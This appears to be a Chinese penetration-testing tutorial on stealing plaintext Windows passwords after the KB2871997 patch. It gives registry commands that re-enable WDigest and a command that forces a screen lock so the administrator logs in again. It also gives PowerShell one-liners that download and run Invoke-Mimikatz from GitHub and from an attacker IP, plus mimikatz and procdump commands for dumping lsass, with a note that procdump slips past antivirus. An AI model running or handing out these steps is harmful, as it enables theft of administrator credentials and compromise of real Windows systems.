微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,关闭了Wdigest功能。Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。
在命令行环境开启或关闭Wdigest Auth,有如下两种方法:
cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0
在开启 Wdigest Auth
后,需要管理员重新登录才能逮到明文密码。
我们可以强制锁屏,让管理员重新登录。
cmd
rundll32 user32.dll,LockWorkStation
powershell
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。
手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
开启 Wdigest Auth
后,接下来就用常规的抓取明文的方式就行了。
powershell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.106:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz
本地上传exe执行
privilege::debug
sekurlsa::logonpasswords
当 Mimikatz
被杀,可以先将 lsass
进程 dump
下来,在本地用 Mimikatz
读取。
1、dump进程
可以用微软提供的 [procdump](https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump)
,自带微软签名,可以过杀软。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、Mimikatz读取
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full